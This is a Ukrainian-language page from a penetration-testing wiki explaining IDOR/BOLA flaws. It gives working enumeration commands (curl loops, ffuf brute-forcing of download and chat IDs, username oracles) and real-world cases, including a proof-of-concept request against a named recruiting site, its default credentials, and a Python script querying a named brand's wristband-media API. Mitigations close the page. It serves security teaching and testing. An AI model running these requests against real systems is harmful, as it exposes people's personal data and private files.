IDOR (Insecure Direct Object Reference)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) з’являється, коли веб- або API endpoint розкриває або приймає керований користувачем ідентифікатор, який використовується безпосередньо для доступу до внутрішнього об’єкта без перевірки, чи має викликач право на доступ/зміну цього об’єкта. Успішна експлуатація зазвичай дозволяє горизонтальну або вертикальну privilege-escalation, наприклад читання або зміну даних інших користувачів і, у найгіршому випадку, повний account takeover або mass-data exfiltration.
1. Виявлення потенційних IDORs
- Шукайте параметри, що посилаються на об’єкт:
- Path:
/api/user/1234,/files/550e8400-e29b-41d4-a716-446655440000 - Query:
?id=42,?invoice=2024-00001 - Body / JSON:
{"user_id": 321, "order_id": 987} - Headers / Cookies:
X-Client-ID: 4711
- Віддавайте перевагу endpoints, які читають або оновлюють дані (
GET,PUT,PATCH,DELETE). - Зверніть увагу, коли ідентифікатори послідовні або передбачувані – якщо ваш ID
64185742, то64185741ймовірно існує. - Досліджуйте приховані або альтернативні потоки (наприклад “Paradox team members” посилання на сторінках входу), які можуть підсилати додаткові API.
- Використовуйте аутентифіковану сесію з низькими привілеями і змінюйте лише ID, зберігаючи той самий token/cookie. Відсутність помилки авторизації зазвичай є ознакою IDOR.
Quick manual tampering (Burp Repeater)
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
Автоматизована енумерація (Burp Intruder / curl loop)
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
Перебір передбачуваних ID завантаження (ffuf)
Автентифіковані панелі хостингу файлів часто зберігають метадані для кожного користувача в одній таблиці files і надають endpoint для завантаження, наприклад /download.php?id=<int>. Якщо обробник лише перевіряє, чи існує ID (а не чи належить він автентифікованому користувачу), ви можете перебрати простір цілих чисел з дійсною cookie сесією та вкрасти резервні копії/конфігурації інших користувачів:
ffuf -u http://file.era.htb/download.php?id=FUZZ \
-H "Cookie: PHPSESSID=<session>" \
-w <(seq 0 6000) \
-fr 'File Not Found' \
-o hits.json
jq -r '.results[].url' hits.json # fetch surviving IDs such as company backups or signing keys
-frвидаляє 404-style шаблони, тож залишаються лише справжні hits (наприклад, IDs 54/150 leaking повні резервні копії сайту та матеріали для підписування).- Той самий FFUF workflow працює з Burp Intruder або curl loop — просто переконайтеся, що залишаєтеся авторизованими під час інкрементування IDs.
Аутентифікована комбінаторна енумерація (ffuf + jq)
Деякі IDORs приймають multiple object IDs (наприклад, треди чатів між двома користувачами). Якщо додаток лише перевіряє, що ви увійшли в систему, ви можете fuzz обидва IDs, зберігаючи свій session cookie:
ffuf -u 'http://target/chat.php?chat_users[0]=NUM1&chat_users[1]=NUM2' \
-w <(seq 1 62):NUM1 -w <(seq 1 62):NUM2 \
-H 'Cookie: PHPSESSID=<session>' \
-ac -o chats.json -of json
Потім постобробіть JSON output за допомогою jq, щоб видалити симетричні дублікати (A,B) vs (B,A) і зберегти лише унікальні пари:
jq -r '.results[] | select((.input.NUM1|tonumber) < (.input.NUM2|tonumber)) | .url' chats.json
Оракул помилок для виявлення користувачів/файлів
Коли endpoint для завантаження приймає і username, і filename (наприклад /view.php?username=<u>&file=<f>), тонкі відмінності в повідомленнях про помилку часто створюють оракул:
- Неіснуюче ім’я користувача → “User not found”
- Неправильне ім’я файлу, але дійсне розширення → “File does not exist” (інколи також перераховує доступні файли)
- Неправильне розширення → помилка валідації
За будь-якої аутентифікованої сесії ви можете fuzz параметр username, залишивши безпечне ім’я файлу, і відфільтрувати за рядком “User not found”, щоб виявити дійсних користувачів:
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
Після визначення дійсних імен користувачів безпосередньо запитуйте конкретні файли (наприклад, /view.php?username=amanda&file=privacy.odt). Такий підхід часто призводить до несанкціонованого розкриття документів інших користувачів та credential leakage.
2. Реальний кейс – McHire Chatbot Platform (2025)
Під час оцінки рекрутингового порталу McHire, який працює на Paradox.ai, було виявлено наступний IDOR:
- Endpoint:
PUT /api/lead/cem-xhr - Authorization: user session cookie for будь-якого тестового облікового запису ресторану
- Body parameter:
{"lead_id": N}– 8-значний, послідовний числовий ідентифікатор
Зменшуючи значення lead_id, тестер отримав довільні дані заявників — full PII (ім’я, електронна пошта, телефон, адреса, уподобання щодо змін), а також користувацький JWT, який дозволив перехоплення сесії. Перебір діапазону 1 – 64,185,742 виявив приблизно 64 мільйони записів.
Запит Proof-of-Concept:
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
Combined with default admin credentials (123456:123456) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
Кейс — QR-коди браслетів як слабкі bearer tokens (2025–2026)
Flow: Відвідувачі виставки отримували браслети з QR-кодами; сканування https://homeofcarlsberg.com/memories/ дозволяло браузеру взяти printed wristband ID, закодувати його в hex та викликати бекенд на cloudfunctions.net для отримання збережених медіа (фото/відео + імена). Не було no session binding або аутентифікації користувача — знання ID = авторизація.
Predictability: Ідентифікатори браслетів мали короткий шаблон, наприклад C-285-100 → ASCII hex 432d3238352d313030 (43 2d 32 38 35 2d 31 30 30). Обсяг простору ключів оцінили приблизно в ~26M комбінацій, що тривіально перебрати онлайн.
Exploitation workflow with Burp Intruder:
- Payload generation: Згенеруйте кандидатські ID (наприклад,
[A-Z]-###-###). Використовуйте Burp Intruder Pitchfork або Cluster Bomb атаку з позиціями для букви та цифр. Додайте payload processing rule → Add prefix/suffix → payload encoding: ASCII hex, щоб кожен запит відправляв hex-рядок, який очікує бекенд. - Response grep: Налаштуйте в Intruder grep-match на маркери, що присутні лише у валідних відповідях (наприклад, media URLs/JSON fields). Невалідні ID зазвичай повертали порожній масив/404.
- Throughput measurement: ~1,000,000 IDs were tested in ~2 hours from a laptop (~139 req/s). При такій швидкості весь keyspace (~26M) можна було б перебрати за ~52 години. Прикладний прогін вже викрив ~500 валідних браслетів (відео + повні імена).
- Rate-limiting verification: Після того як постачальник заявив про throttling, повторно запустили ту ж конфігурацію Intruder. Ідентична пропускна здатність/відсоток влучань довела, що контроль відсутній/неефективний; перелік продовжився без перешкод.
Quick scriptable variant (client-side hex encoding):
import requests
def to_hex(s):
return ''.join(f"{ord(c):02x}" for c in s)
for band_id in ["C-285-100", "T-544-492"]:
hex_id = to_hex(band_id)
r = requests.get("https://homeofcarlsberg.com/memories/api", params={"id": hex_id})
if r.ok and "media" in r.text:
print(band_id, "->", r.json())
Урок: Кодування (ASCII→hex/Base64) не додає ентропії; короткі ID стають bearer tokens, які можна перерахувати незважаючи на косметичне кодування. Без per-user authorization + high-entropy секретів, media/PII можуть бути зібрані масово навіть якщо заявлено “rate limiting”.
3. Наслідки IDOR / BOLA
- Горизонтальне підвищення привілеїв – читання/оновлення/видалення даних інших користувачів.
- Вертикальне підвищення привілеїв – користувач з низькими правами отримує admin-only функціональність.
- Масове викриття даних, якщо ідентифікатори послідовні (наприклад, applicant IDs, invoices).
- Захоплення акаунта шляхом крадіжки tokens або скидання паролів інших користувачів.
4. Міри пом’якшення та найкращі практики
- Застосовуйте авторизацію на рівні об’єкта на кожному запиті (
user_id == session.user). - Віддавайте перевагу непрямим, невгадуваним ідентифікаторам (UUIDv4, ULID) замість auto-increment IDs.
- Виконуйте авторизацію на сервері, ніколи не покладайтеся на приховані поля форм або UI-контролі.
- Реалізуйте RBAC / ABAC перевірки в центральному middleware.
- Додайте rate-limiting & logging для виявлення перебору ID.
- Тестуйте безпеку кожного нового endpoint (unit, integration, and DAST).
5. Tooling
- BurpSuite extensions: Authorize, Auto Repeater, Turbo Intruder.
- OWASP ZAP: Auth Matrix, Forced Browse.
- Github projects:
bwapp-idor-scanner,Blindy(bulk IDOR hunting).
References
- McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants’ PII
- OWASP Top 10 – Broken Access Control
- How to Find More IDORs – Vickie Li
- HTB Nocturnal: IDOR oracle → file theft
- 0xdf – HTB Era: predictable download IDs → backups and signing keys
- 0xdf – HTB: Guardian
- Carlsberg memories wristband IDOR – predictable QR IDs + Intruder brute force (2026)
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


